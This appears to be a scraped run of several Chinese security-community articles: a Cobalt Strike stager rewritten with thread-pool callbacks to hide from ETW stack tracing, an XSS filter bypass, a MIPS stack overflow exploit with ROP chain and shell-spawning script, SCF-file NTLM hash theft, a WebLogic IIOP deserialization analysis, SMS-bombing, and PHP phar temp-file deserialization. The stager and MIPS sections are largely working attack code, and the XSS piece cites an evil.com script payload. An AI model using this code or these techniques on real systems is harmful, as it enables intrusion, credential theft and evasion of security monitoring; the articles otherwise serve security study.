ntAllocateVirtualMemoryArgs.permissions = PAGE_EXECUTE_READ;
FARPROC pTpAllocWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpAllocWork");
FARPROC pTpPostWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpPostWork");
FARPROC pTpReleaseWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpReleaseWork");
PTP_WORK WorkReturn = NULL;
((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)WorkCallback, &ntAllocateVirtualMemoryArgs, NULL);
((TPPOSTWORK)pTpPostWork)(WorkReturn);
((TPRELEASEWORK)pTpReleaseWork)(WorkReturn);
WaitForSingleObject((HANDLE)-1, 0x1000);
printf("allocatedAddress: %p\n", allocatedAddress);
getchar();
return 0;
}
在之前处理 LoadLibraryA 函数时，为了能够构造 PTP_WORK_CALLBACK 类型的函数结构并将正确的参数传递给 LoadLibraryA
函数，我们编写了一些汇编代码将 RDX 寄存器中的存储的参数转移到了 RCX 寄存器中，而此处的 NtAllocateVirtualMemory
函数有6个参数，这些参数在传递时不仅使用了寄存器，还需要使用堆栈进行传参。我们的 WorkCallback 本质上是通过另一个函数
TppWorkpExecuteCallback 进行调用的，此时的堆栈顶部会保存该函数的返回地址：
如果我们此时修改堆栈顶部的内容，将 NtAllocateVirtualMemory 函数的参数分配新的空间到栈中，会破坏这个堆栈结构，从而导致
WorkCallback 函数无法正常返回，所以我们不能改变现有的堆栈结构，同时又将 NtAllocateVirtualMemory
参数的值保存到这个堆栈结构中，恰好当前 TppWorkpExecuteCallback 函数的堆栈结构有足够的空间容纳
NtAllocateVirtualMemory 函数的参数，作者给出的汇编代码：
section .text
global WorkCallback
WorkCallback:
mov rbx, rdx ; backing up the struct as we are going to stomp rdx
mov rax, [rbx] ; NtAllocateVirtualMemory
mov rcx, [rbx + 0x8] ; HANDLE ProcessHandle
mov rdx, [rbx + 0x10] ; PVOID *BaseAddress
xor r8, r8 ; ULONG_PTR ZeroBits
mov r9, [rbx + 0x18] ; PSIZE_T RegionSize
mov r10, [rbx + 0x20] ; ULONG Protect
mov [rsp+0x30], r10 ; stack pointer for 6th arg
mov r10, 0x3000 ; ULONG AllocationType
mov [rsp+0x28], r10 ; stack pointer for 5th arg
jmp rax
调用 NtAllocateVirtualMemory 时寄存器和堆栈情况：
此时 NtAllocateVirtualMemory 在堆栈调用关系上与我们的 shellcode 区域没有明显的关联：
## 4\. 构建 Shellcode
Shellcode 的编写方法我在 [CS 4.7 Stager 逆向及 Shellcode 重写 -先知社区](https://xz.aliyun.com/t/12194) 已经做了介绍，这里不再赘述。
替换 LoadLibraryA 进行模块加载：
/* Load User32.dll */
ai.pfnTpAllocWork(&LoadUser32, (PTP_WORK_CALLBACK)myLoadLibrary, (PVOID)szUser32, NULL);
ai.pfnTpPostWork(LoadUser32);
ai.pfnTpReleaseWork(LoadUser32);
/* Load Wininet.dll */
ai.pfnTpAllocWork(&LoadWininet, (PTP_WORK_CALLBACK)myLoadLibrary, (PVOID)szWininet, NULL);
ai.pfnTpPostWork(LoadWininet);
ai.pfnTpReleaseWork(LoadWininet);
替换 VirtualAlloc 分配内存空间：
/* Allocate Memory For URL */
ntAllocateVirtualMemoryUrlArgs.pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddressWithHash(0x9488B12D);
ntAllocateVirtualMemoryUrlArgs.hProcess = (HANDLE)-1;
ntAllocateVirtualMemoryUrlArgs.address = &httpurl;
ntAllocateVirtualMemoryUrlArgs.size = &allocatedurlsize;
ntAllocateVirtualMemoryUrlArgs.permissions = PAGE_READWRITE;
ai.pfnTpAllocWork(&AllocUrl, (PTP_WORK_CALLBACK)myNtAllocateVirtualMemory, &ntAllocateVirtualMemoryUrlArgs, NULL);
ai.pfnTpPostWork(AllocUrl);
ai.pfnTpReleaseWork(AllocUrl);
/* Allocate Memory For Beacon */
ntAllocateVirtualMemoryBeaconArgs.pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddressWithHash(0x9488B12D);
ntAllocateVirtualMemoryBeaconArgs.hProcess = (HANDLE)-1;
ntAllocateVirtualMemoryBeaconArgs.address = &beacon;
ntAllocateVirtualMemoryBeaconArgs.size = &allocatedbeaconsize;
ntAllocateVirtualMemoryBeaconArgs.permissions = PAGE_EXECUTE_READWRITE;
ai.pfnTpAllocWork(&AllocBeacon, (PTP_WORK_CALLBACK)myNtAllocateVirtualMemory, &ntAllocateVirtualMemoryBeaconArgs, NULL);
ai.pfnTpPostWork(AllocBeacon);
ai.pfnTpReleaseWork(AllocBeacon);
回调函数的汇编代码：
EXTRN getLoadLibraryA: PROC
PUBLIC myLoadLibrary
PUBLIC myNtAllocateVirtualMemory
_TEXT SEGMENT
myLoadLibrary PROC
movq xmm3, rdx
xor rdx, rdx
call getLoadLibraryA
movq rcx, xmm3
xorps xmm3, xmm3
jmp rax
myLoadLibrary ENDP
myNtAllocateVirtualMemory PROC
mov rbx, rdx ; backing up the struct as we are going to stomp rdx
mov rax, [rbx] ; NtAllocateVirtualMemory
mov rcx, [rbx + 8h] ; HANDLE ProcessHandle
mov rdx, [rbx + 10h] ; PVOID *BaseAddress
xor r8, r8 ; ULONG_PTR ZeroBits
mov r9, [rbx + 18h] ; PSIZE_T RegionSize
mov r10, [rbx + 20h] ; ULONG Protect
mov [rsp+30h], r10 ; stack pointer for 6th arg
mov r10, 3000h ; ULONG AllocationType
mov [rsp+28h], r10 ; stack pointer for 5th arg
jmp rax
myNtAllocateVirtualMemory ENDP
_TEXT ENDS
END
将汇编部分编译成 obj 文件，然后在项目属性链接器部分将其作为附加依赖项：
需要注意的是，项目属性要禁用优化或者改为优化速度，否则编译的 shellcode
无法正常运行（这里我也不清楚原因，有知道的师傅还请指教下），这也导致提取出来的 shellcode 比之前的大了一倍多：
提取 shellcode，使用一个简单的加载器测试上线：
完整 demo（写的比较粗糙）：<https://github.com/ReLay280h/myStager>
## 5\. 参考链接
[Hiding In PlainSight - Proxying DLL Loads To Hide From ETWTI Stack
Tracing](https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/)
[Hiding In PlainSight - Indirect Syscall is Dead! Long Live Custom Call
Stacks](https://0xdarkvortex.dev/hiding-in-plainsight/)
[WorkCallback callback function (Windows)](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms687396\(v=vs.85)) | 社区文章 |
**0x00 前言**
这篇帖子主要真的针对的是某cms的一个处理xss漏洞的函数，函数不是很复杂，突破手段也有很多，这里讲下我对这个函数突破的思考，也希望权当抛砖引玉，一起来探讨下xss函数的fuzz手法及独门技巧~
**0x01 cms函数**
function stripscript($string){
$pregfind=array("/<script.*>.*<\/script>/siU",'/on(error|mousewheel|mouseover|click|load|onload|submit|focus|blur|start)="[^"]*"/i');
$pregreplace=array('','',);
$string=preg_replace($pregfind,$pregreplace,$string);
return $string;
}
这是cms自带的xss过滤函数，因为这个cms提供的功能特性，xss过滤应该是重中之重，但是事与愿违，一旦主要功能都存在漏洞，那么整个cms都将不堪一击。
下面贴出我的测试代码，方便有心人一起来探讨xss技巧
<?php
function stripscript($string){
$pregfind=array("/<script.*>.*<\/script>/siU",'/on(error|mousewheel|mouseover|click|load|onload|submit|focus|blur|start)="[^"]*"/i');
$pregreplace=array('','',);
$string=preg_replace($pregfind,$pregreplace,$string);
return $string;
}
$string = $_POST["xss"];
echo "Input is :";
echo htmlentities($string);
echo "<br>";
echo "Output is :";
echo stripscript($string);
?>
这里input作了实体化处理，主要是想输出原语句，但是在output这里没有做处理，也就是说xss漏洞点应该在output这里！
**0x02 Bypass**
谈到bypass就必须要先要来认真分析这个过滤函数！
首先其实可以分为两个正则，第一个就是<script.
_>._</script>，第二个则是on前缀的语句，但是on前缀常说的一个最重要的问题就是on系列语句过滤不完整，cms开发者过滤了20个on前缀语句，但是总有漏洞之鱼，因此这里一眼看上去就有了突破思路！
思路一：
那就是利用on前缀函数的过滤不完整，导致最终的xss漏洞产生。
这里说明下onmouseout这个函数怎么利用，就是首先将鼠标悬浮在图片上，然后移走那么就会执行后面的xss语句
但是如果你细看这个函数你会发现一个更可怕的问题，那就是这第二个正则简化下来其实就是on(函数)=".*?"，这里出现的问题就是如果我们直接利用on(函数)=alert(/xss/)这样绕过即可，也就是如果我们的xss语句不利用双引号包裹难道就不能执行了吗？
思路二：
利用xss语句的特性，不使用双引号包裹
这里应该比较好理解，就是因为没加上双引号，那么不符合正则，也就说不会将on前缀语句替换为空，那么就直接造成了xss漏洞
那么针对这个on函数正则分析就到这里，on函数执行xss语句这个大家可以收集一下，收集时注意要能用！
onclick 元素上发生鼠标点击时触发
onmousedown 当元素上按下鼠标按钮时触发
onmousemove 当鼠标指针移动到元素上时触发。
onmouseover 当鼠标指针移动到元素上时触
onmouseout 当鼠标指针移出元素时触发
onmouseup 当在元素上释放鼠标按钮时触发
onkeydown 在用户按下按键时触发
onkeypress 在用户敲击按钮时触发
onkeyup 当用户释放按键时触发
下面来分析第一个正则表达式<script. _>._</script>
这里一开始我不太明白这里<script.*>中的任意匹配，后来想到存在这样的过滤手法<SCRIPT
SRC=[http://evil.com/xss.js>](http://evil.com/xss.js>)</SCRIPT>,这种写法应该就是防止这类xss绕过的！
那么难道就没有绕过方法了吗？
当然有，除了script标签，我们可以利用其它标签来执行xss语句！
思路三：
利用其它标签来执行xss语句
这里就举几个简单的例子
这里其实就是利用`<a></a>`标签来执行xss语句，当点击test时就会执行xss语句
这里其实就是利用`<iframe>`标签来执行xss语句
这里其实就是利用object标签来执行xss语句，然后利用data协议来实现base64的数据传输
那么现在我们才回过头来看这第一个script正则，`<script.*>.*</script>`
这里我们可以利用浏览器的特性，也就是在遇到一些畸形标签仍然能够解析
思路四：
浏览器的特性
这里看上去好像是触发了正则，但是仔细看看却能发现我的payload，实际为`<script>alert(1)</script >`
这里多加了一个空格，也就绕过了正则，首先不会替换为空，其次这类畸形标签又能被浏览器解析，也就成功bypass了
这里可以看到插入的payload为`123<script>alert(1)</script
<a>`，依然能够弹出对话框，但是这明明不是一个标准的script标签
那么这里就涉及到了浏览器的特性，会自动将`</script`补全，但是又不影响解析，也就是说在实际情景中，如果我们插入`<script>alert(1)</script`这样的语句，后面的标签有可能就会补全标签
从而触发xss语句
**0x03 xss防护的思考**
xss的防护其实也很简单，做实体化或者去除标签（strip_tag）即可，还有就是记得在过滤函数中记得对双引号进行处理，免得恶意攻击者对表单value值直接进行拼接，导致最终执行xss函数（<input
type=text value="123" onmouseover="alert" name="id">）
（那么是否做了实体化处理和去除标签后，xss漏洞是否就不存在了呢？这里除了上述的value例子，是否还有其他案例？）
**0x04 总结**
本文主要由一个cms的过滤函数引发出笔者对xss的思考，受限于技术水平，文中的xss思路可能仍有遗漏，也希望其他有心人能够作更加详细的补充，一起来探讨这个话题！
上述如有不当之处，敬请指出~ | 社区文章 |
# MIPS架构——堆栈缓冲区溢出调试与利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## MIPS 堆栈原理
栈是一种具有先进后出队列性质的数据结构。调用栈（Call Stack）是指存放某个程序正在运行的函数的信息的栈。调用栈由栈帧(Stack
Frame)组成，每个栈帧对应一个未完成运行的函数。
这里主要介绍 物联网设备中常见的指令架构MIPS32
，这个架构中的函数有两种，叶子函数和非叶子函数，判断叶子函数的方式只需要判断函数内是否调用其他函数，有调用则是非叶子函数，没有调用则是叶子函数，
### 非叶子函数调用过程
程序在跳转到非叶子函数以后，则非叶子函数会把调用它的函数的返回地址(也就是$RA寄存器)存入堆栈中，再将自己函数返回地址存入到$RA，在函数返回时，非叶子函数会将栈中先前保存的返回地址取出保存到$RA中，再执行
“jr $ra”返回原函数。
### 叶子函数调用过程
程序在跳转到叶子函数中，过程比较简单，叶子函数不会改变寄存器$RA的值，因为函数跳转到它，就不会再有跳转了，因此在函数返回时，直接 “jr
$ra”返回原函数。
### 函数调用参数传递
在MIPS 体系的函数调用过程中，通过$a0~ $a3 传递前四个参数，多余的通过栈传递。
### 栈空间缓冲区溢出
栈空间缓冲区是用于内存中存储数据的内存区域。
缓冲区溢出就是大缓冲区数据向小缓冲区复制的过程中，由于没有检查小缓冲区的边界或者检车不严格，导致小缓冲区明显不足以接收整个大缓冲区的数据，超出的部分覆盖了与小缓冲区相邻的内存区中的其他数据而引发的内存问题。
成功利用缓冲区溢出可能造成严重的后果，基本上可分为3 种情况，分别是拒绝服务、获得用户权限、获得系统权限。
接下来和我一起来学习栈空间缓冲区溢出吧！ ：）
## 环境搭建
系统：Ubuntu 16.04
工具：IDA 7.5、QEMU
mips交叉编译环境
## 漏洞代码
mips_stack.c
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("/home/tigerortiger/study/mips_stack/passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen("/home/tigerortiger/study/mips_stack/passwd","rb")) == NULL)
{
printf("Cannot open file passwd!n");
exit(1);
}
ch=fgetc(fp);
printf("[+] 1 line : ");
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
//printf("[+] %s \r\n",ch);
}
buf[--count] = 'x00';
printf("[+] passwd content : %s",buf[0]);
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!n");
}
fclose(fp);
}
## 编译
`./mips-linux-gcc -static /home/tigerortiger/study/mips_stack/stack.c -o
stack`
## 文件分析
1、首先查看文件信息，可以看到是mips32 架构
2、根据查看mips_stack.c 的源码或者运行文件可以知道，main()函数会读取passwd 文件，并且将文件的内容种存入局部变量buf
中，而buf 仅为256字节，如果passwd 中的文件大于256字节，那么多余的字节就会导致缓冲区无法放下，造成溢出现象。
3、生成600个字符串都passwd
`python -c "print 'A'*600">passwd`
4、执行文件，可以看到”segmentation fault “
5、接下来进行远程调试，查看栈上的情况
`tigerortiger[@ubuntu](https://github.com/ubuntu "@ubuntu") ~/s/mips_stack>
qemu-mips-static -g 1234 ./stack`
6、使用IDA 进行调试，连接，运行。
7、程序在试图执行0x41414141处的指令时发生了崩溃,这刚好是AAAA的十六进制，0x41414141超出了进程,引发了断段故障
由此上述分析可知，文件存在缓冲区溢出的漏洞，并且可以将数据覆盖到$RA寄存器中。
## 漏洞exploit利用开发
完整漏洞利用开发过程应该是如下的步骤：
1、计算局部变量到 返回地址的偏移，也就是buf 到$ra的偏移，劫持PC；
2、寻找可利用的攻击方式和途径
3、构造ROP Chain
4、编写漏洞利用程序
### 计算偏移
首先是确定buf 到$ra的偏移
这里介绍两种方法来进行计算
**1、栈帧分析**
通过静态分析，首先F5 看程序的伪代码，需要确定buf 离栈帧的地址，如下图所示，buf 会和adminpwd
进行比较，因此根据mips种函数调用参数的特性，可以定位到$a0，最终可以定位到 0x1C8+var_198，其中0x1C8 是栈帧的地址。
下面确定buf 的偏移为-0x198 (这里的偏移都是相对栈帧fp), 并且也确定了$ra 的偏移为0x4。
如果需要使缓冲区溢出，控制堆栈的返回地址$ra，需要覆盖的数据大小应该达到 0x4-(-0x198) = 0x19c 字节
**2、使用脚本工具**
脚本自取：【[https://github.com/desword/shellcode_tools/blob/master/patternLocOffset.py】](https://github.com/desword/shellcode_tools/blob/master/patternLocOffset.py%E3%80%91)
使用脚本字符来将生成字符串存储到 passwd 中
使用IDA 进行远程调试，可以看到在$ra地址处是 0x6E37416E
使用脚本计算偏移为412，和上面栈帧分析的一样。
### 寻找可利用的攻击途径
通过对文件的静态分析，不难发现程序中调用了do_system_0
函数，这个函数会调用system()函数来执行第二个参数，因此只需要将要执行的命令传入do_system_0函数的第二个参数$a1 中即可。
### 构造ROP chain
这里需要用到IDA脚本插件mipsrop.py
**1、安装mipsrop.py**
下载，完了放到ida的plugins目录就行，重启IDA。
【[https://github.com/devttys0/ida/blob/master/plugins/mipsrop/mipsrop.py】](https://github.com/devttys0/ida/blob/master/plugins/mipsrop/mipsrop.py%E3%80%91)
2、打开你的mips程序，点击search——>mips rop gadgets 。
3、输入“ mipsrop.stackfinder() ”查找可用的godget
4、双击0x00403810 可以看到这里，下面红色框中的代码我们可以用来构造rop chain。
为什么这段代码可以使用，是因为我们上面分析过，需要给do_system_0 函数 $a1
传递我们要执行的命令，恰好0x00403810此处将$sp+0x54+var_30内存中值赋值给$a1，只需要将要执行的命令放在$sp+0x54+var_30处，另外我们要调用do_system_0函数，下面0x00403814处
将$sp+0x54+var_s0的值加载到$ra 寄存中，后面会执行” jr $ra”, 让程序跳转到do_system_0继续执行。
6、最终构造的ROP chain 如下图所示
### 编写漏洞利用程序
import struct
print("[*] prepare shellcode")
cmd = "sh"
cmd += "\00"*(4-(len(cmd) %4)) # 栈对齐
shellcode = "A"*0x19C
shellcode += struct.pack(">L",0x00403810)
shellcode += "A"*24
shellcode += cmd
shellcode += "B"*(0x3C - len(cmd))
shellcode += struct.pack(">L", 0x00400680)
shellcode += "BBBB"
print("OK!")
print("[+] create password file")
fw = open('passwd','w')
fw.write(shellcode)
fw.close()
print("ok")
## 执行exploit | 社区文章 |
# 0x00 前言
今天国外安全研究人员公布了一个[通过SCF文件来偷取远程服务器的Window NTLM Auth
Hash](http://www.sysadminjd.com/adv170014-ntlm-sso-exploitation-guide/)的技巧，笔者仔细看了一下他的文章觉得很不错，故做了简单研究遂作此文。
# 0x01 分析与实践
## **漏洞原理分析**
该漏洞通过向网络中的共享目录中上传特殊构造的SCF文件(即在SCF文件中将图标文件指定到我们攻击机伪造的共享目录里)，故当任何用户访问该共享目录时便可获取它的Windows
NTLM Hash，从而可以进一步破解Hash获得明文密码或者利用Pass The Hash攻击目标服务器，这是一个非常简单且实用的内网渗透技巧。
SCF stands for Shell Command File and is a file format that supports a very limited set of Windows Explorer commands, such as opening a Windows Explorer window or showing the Desktop. The "Show Desktop" shortcut we all use on a daily basis is an SCF file.
## **实验与实践**
**实验环境：**
* **攻击机：192.168.1.105 (Kali)**
* **目标机/局域网主机B (文件共享主机)：192.168.1.107 (Windows 7 64 bits)**
* **局域网主机A：192.168.1.104 (Windows 7 32 bits)**
* **局域网主机C：192.168.1.106 (Windows XP)**
**具体步骤：**
首先在目标机上创建一个共享文件夹并共享给everyone可读写权限（例如：scftest）
然后关闭共享的密码保护如下：
接下来，在我们的攻击机上创建一个SCF文件，如下：
注意：其中的 **192.168.1.105** 是指向我们的攻击机。
上传上面构造的SCF文件至目标服务器的共享目录里：
在攻击机上开启MSF的auxiliary/server/capture/smb模块来伪造共享目录并抓取用户的Windows密码Hash：
此时任何访问下面目标机上的共享目录的Windows用户的密码Hash都将可能被我们的攻击机获取到。
\\192.168.1.107\Users\win7_64\Desktop\scftest\
**局域网主机A：(192.168.1.104/win7_32)**
**局域网主机B：(192.168.1.107/win7_64)**
**局域网主机C：(192.168.1.106/win_xp)**
在攻击机上我们也“如愿地”偷取到了这三个来自不同windows主机的用户的Windows密码Hash：
所有获取到的NTLM Hash保存在 **/tmp/smbhashes.txt_netntlmv2** ，如下：
最后，我们可以通过[John the Ripper](http://www.openwall.com/john/)或者[其他在线Windows
Hash破解网站](http://www.objectif-securite.ch/en/ophcrack.php)，来破解明文密码或者利用NTLM
Hash来Pass The Hash攻击。
# 0x02 参考
* <http://www.sysadminjd.com/adv170014-ntlm-sso-exploitation-guide/>
* <https://room362.com/post/2016/smb-http-auth-capture-via-scf/>
* <https://www.bleepingcomputer.com/news/security/you-can-steal-windows-login-credentials-via-google-chrome-and-scf-files/> | 社区文章 |
**作者：Lucifaer
原文链接：[https://lucifaer.com/2020/02/25/WebLogic%20WLS%E6%A0%B8%E5%BF%83%E7%BB%84%E4%BB%B6RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2020-2551%EF%BC%89/?from=timeline&isappinstalled=0](https://lucifaer.com/2020/02/25/WebLogic%20WLS%E6%A0%B8%E5%BF%83%E7%BB%84%E4%BB%B6RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2020-2551%EF%BC%89/?from=timeline&isappinstalled=0)**
## 0x01 漏洞概述
Weblogic官方在1月补丁中修复了CVE-2020-2551漏洞，该漏洞位于`WLS`核心组件中，允许远程攻击者通过`iiop`进行网络请求，从而攻击Weblogic服务器，最终远程攻击者可以利用该漏洞完全接管Weblogic服务器。
从通告中我们能看到漏洞发生在`WLS`的核心组件，所以给了我们一个思路去分析该漏洞，只需要从接受并解析`iiop`请求点入手进行分析即可。
## 0x02 漏洞分析
分析该漏洞应该从两方面来进行：
1. 客户端：通过分析Context的生成过程以及`Context.bind()`的流程来理解服务端解析的数据结构
2. 服务端：通过分析解析流程最终找到漏洞触发点
本文也将从这两个方面进行分析。分析到最后其实会发现`iiop`只是触发方式，关键的触发点还是由于Weblogic应用本身的处理逻辑，也就是说本质上是个应用漏洞而非协议漏洞。
### 2.1 Context的生成以及bind的流程
无论利用`rmi-iiop`的方式去写客户端，还是写服务端，都需要在编写具体逻辑前获取`Conetext`对象，也就是如下的代码：
new InitialContext();
如果研究过CORBA通信过程的话，就能理解这一部分是获取`Naming
Service`的过程，对于客户端来说是获取其中存在的IOR引用以供后面的rpc流程使用；对于服务端来说，用于完成对象注册。这里来跟进一下Context的生成过程，方便后续理解Weblogic的解析逻辑。
这里有个很重要的参数`environment`，在该参数中可以设置`Context`的静态变量来指定`Context`的初始化参数，包括`JNDI_FACTORY`、`PROVIDER_URL`。这些初始化参数在后续的流程中有极其重要的作用。
当在`environment`中设置了`Context.INITIAL_CONTEXT_FACTORY`后会尝试获取该`Context factory`：
这里会根据设定的`Context.INITIAL_CONTEXT_FACTORY`，反射获取工厂类，之后调用`getInitialContext()`方法。首先看一下在JDK中原生以及在Weblogic中所拓展出的工厂类到底有哪些：
这里我们简单的看一下`WLInitialContextFactory`这个Weblogic拓展的工厂类：
这里跟进看一下`getORBReference()`方法：
这里和CORBA的写法是一样的：
都是初始化`orb`获取`Naming
Service`的过程，如果想要了解详细的过程，可以研究一下上一篇讲[CORBA](http://https://paper.seebug.org/1124/
"CORBA") 的文章。
在获取了`Context`后，接着来看一下其绑定流程，此流程在`bind()`函数中有所体现：
熟悉CORBA的同学肯定一眼就能看出这里完成的是生成IOR，同时设定corba协议中的数据类型与java类型交互的约定为`tk_value`，并设定请求的`op`或者叫做`operation`为`bind_any`。这里不仅仅设定了服务端对注册请求的处理方式（`bind_any`的处理流程），同时设定了后面反序列化的方式（`tk_value`）。
### 2.2 Weblogic解析流程
在了解了Context的生成及`bind()`流程后，接着来看一下Weblogic的解析流程。Weblogic默认在7001端口接收`iiop`请求，所有的请求都是交由`weblogic.rmi.cluster.ClusterableServerRef#invoke`来处理的：
在`handleRequest`中的流程较为长，我只截关键处理点：
直接跟进`var2.invoke()`，具体的实现方法在`weblogic.rmi.cluster.ClusterableServerRef#invoke`：
这里首先会判断请求是否为`objectMethods`中已经存在的类型，当不存在时将会调用`delegate.invoke()`来处理，由于我们在发送注册请求时的请求类型为`bind_any()`并不在`objectMethods`中，所以会触发`delegate.invoke()`，具体的实现类为`weblogic.corba.cos.naming._NamingContextAnyImplBase#_invoke`：
因为我们当前的请求类型为`bind_any()`，其所对应的`var5`为0，所以会进入两个关键的流程：
1. `WNameHelper.read()`
2. `var2.read_any()`
在`WNameHelper.read()`主要负责提取IOR中的信息（id、kind）用于之后注册到`orb`的流程中。
而反序列化的触发点在`var2.read_any()`中：
在上一节中，已经说过在`bind()`流程中发起注册请求时，会构造一个`Any`类，并将交互类型设置为`tk_value`也就是`this.read_TypeCode()`。继续跟进：
这里会根据`TCKind`来分派具体的处理流程，`tk_value`对应29：
接下来就是之前CORBA文章中所提到过的反序列化流程：
由`CDRInputStream`跳转到JDK原生反序列化：
至此分析结束。
## 0x03 利用研究
根据0x02中的分析，可以梳理出攻击需要的两个元素：
1. 构造一个`bind_any()`请求
2. 寻找一条gadget填充到`Any`类中
攻击效果如下：
**Reference**
1. <https://cert.360.cn/report/detail?id=d3f6666d6558f02a6204dd51cb749558>
2. <https://cert.360.cn/warning/detail?id=8746760715a399499f8a46fb85edcda1>
3. <https://www.oracle.com/security-alerts/cpujan2020.html>
4. <https://lucifaer.com/2020/02/20/Java%20CORBA%E7%A0%94%E7%A9%B6/>
* * * | 社区文章 |
# 手机无故被骚扰电话和短信”轰炸“？背后的操盘手法解密
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
明明啥也没干，手机却无故收到大量骚扰短信，细看短信内容都是注册各平台接收的验证码，不少用户都遇到过这种情况，一天之内收到数百条这样的短信而深受其扰，那时因为你遇到了“短信轰炸机”！
在软件中输入手机号码，就可使对方手机不间断地接收电话、短信，此类软件即为“电话短信轰炸机”。“轰炸机”多被不法分子尤其是一些催收、裸liao遭勒索、网购差评时用来骚扰他人，给用户生活带来严重影响。
裸liao遭敲诈用户收到的短信轰炸截图
## “短信轰炸”的原理
“盗取”短信校验平台的接口，在短时间内向大量无关手机号码发送验证码短信。如在注册页面填写指定手机号，利用该平台的短信校验功能给该号码发送校验短信。
## “短信轰炸”的危害
短信接口被盗用于短信轰炸，一方面大量无辜用户收到短信骚扰；一方面短信通道不断发短信，造成短信资费浪费；若遭受用户投诉短信骚扰，短信通道可能被关停，导致正常业务短信无法下发，影响正常业务。
## 防止短信接口被利用策略
1、同一个号码同一个内容一个自然日内最多发送1条
2、同一个号码一个自然人最多发送20条
3、图形校验
## 短信轰炸黑灰产运作
### 1\. 突破风控策略方式
以上风控策略针对的单一某个平台或使用相同的短信接口商，目前黑灰产为了突破风控限制，抓取不同平台，不同短信通道商的短信接口，这样即使同一个号码、同一个IP也不会遭受到短信次数限制。
### 2\. 短信轰炸平台分类
各类发卡平台售卖短信轰炸平台卡密，此类短信轰炸平台已集成了大量的短信接口，在发卡平台购买对应的充值卡密，输入手机号后可直接进行短信轰炸。
短信轰炸全自动脚本/网站源码，此类平台写完了触发的脚本过程，但未集成短信接口，需要自己填写短信通道接口。
### 3\. 短信轰炸应用趋势
短信轰炸技术门槛相对较低，网上有各类短信轰炸的教程，甚至还有各类在线短信轰炸平台，更有甚至专门售卖各大平台的短信接口的渠道。短信轰炸由以往用户催收、网购差评等传统灰色产业，逐渐演变成被诈骗团伙滥用的趋势。
## 安全课堂
安全专家提示：电话短信“轰炸”是违法行为，切勿随意尝试。用户在遭受到短信轰炸时，虽可以联系运营商关闭接收此类短信，但一旦关闭，正常的短信验证码也收不到了。但可以尝试使用360手机卫士的骚扰拦截功能，对有明显特征的短信进行识别和拦截，一定程度上减轻被骚扰。 | 社区文章 |
# 对PHP中文件读漏洞利用的新方式
## 传统的文件读漏洞
传统的漏洞模型可以抽象为如下代码
<?php
$filename = $_GET['name'];
file_get_contents($filename);
而常见的文件读写漏洞往往没办法造成很严重的漏洞，笔者在这里提供一种崭新的攻击方式，配合以列目录，可以造成反序列化。
## 临时文件
当我们使用`compress.zlib://`这个php的Wrapper时php会生成临时文件。如图：
// test.php
<?php
putenv("TMPDIR=xxxxx"); // 设置临时文件夹
file_get_contents("compress.zlib://http://www.baidu.com");
除此之外，我们还可以使用`上传文件`，`PHP_SESSION_UPLOAD_PROGRESS`等功能产生的临时文件。
## 反序列化
我们知道，当我们使用`phar://`的Wrapper时会产生反序列化，我们可以通过如下代码生成。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
## 反序列化临时文件
通过上述分析，如果我们可以获得临时文件的地址，我们便可以使用`phar`包含达到反序列化的目的。这里我们便需要利用两者的时间差进行利用。
## 时间差的制造
制造时间差，我们有两种主要的方法
1. 大文件
2. 利用协议
## Phar协议
Phar协议定义在`ext/phar/phar.c`中，其会对文件名称，路径进行一系列的检查，如下图
由于phar协议使用方法形如`phar://dir1/dir2/phar.phar/file1.txt`,为了有效判别其对应的phar文件,因为相关文件地址可以为
1. `dir1/dir2/phar.phar`
2. `dir1/dir2/phar.phar/file1.txt` 其中phar.phar为目录名
Phar协议进行了如下处理
1. 检查是否开头为`phar://`
2. 然后根据文件中的`.`,`/`穷举判断后缀名
3. 最终根据第一次匹配结果进行解析
在上述步骤中我们发现，如果我们生成的文件名没有后缀名是无法利用的，这里用两种方案
1. 在Windows上使用Windows相关特性
2. 使用可以产生文件名带有后缀名Wrapper
### Windows相关特性
我们知道在Windows中会忽略文件末尾的`.`以及空格，所以我们可以使用`.<space>`假装为文件的后缀名，实际解析时并不会有影响
### 使用可以产生临时文件的Wrapper
事实上，这个Wrapper并不存在。
类似情况参见Pwnhub比赛中的`imageConvent`题目
综上我们可以利用这个Windows特征进行利用
## 文件格式
我们发现,使用`compress.zlib://`构造临时文件时，其临时文件中的内容与原内容是相同的，这给我们的利用提供了极大的方便。
## 综合利用
这里我们可以描绘出在Windows环境下一个具体的攻击流程
1. 使用`compress.zlib`协议产生临时文件，并保留临时文件
2. 通过某种列目录方式列举出该临时文件名
3. 使用phar协议加上WindowsTrick使用该临时文件 | 社区文章 |
# 服务端模板注入攻击 (SSTI) 之浅析
##### 译文声明
本文是翻译文章，文章来源：knownsec
原文地址：<http://blog.knownsec.com/2015/11/server-side-template-injection-attack-analysis/>
译文仅供参考，具体内容表达以及含义原文为准。
Author: RickGray (知道创宇404安全实验室)
在今年的黑帽大会上 [James Kettle](http://blog.portswigger.net/) 讲解了[《Server-Side
Template Injection: RCE for the modern
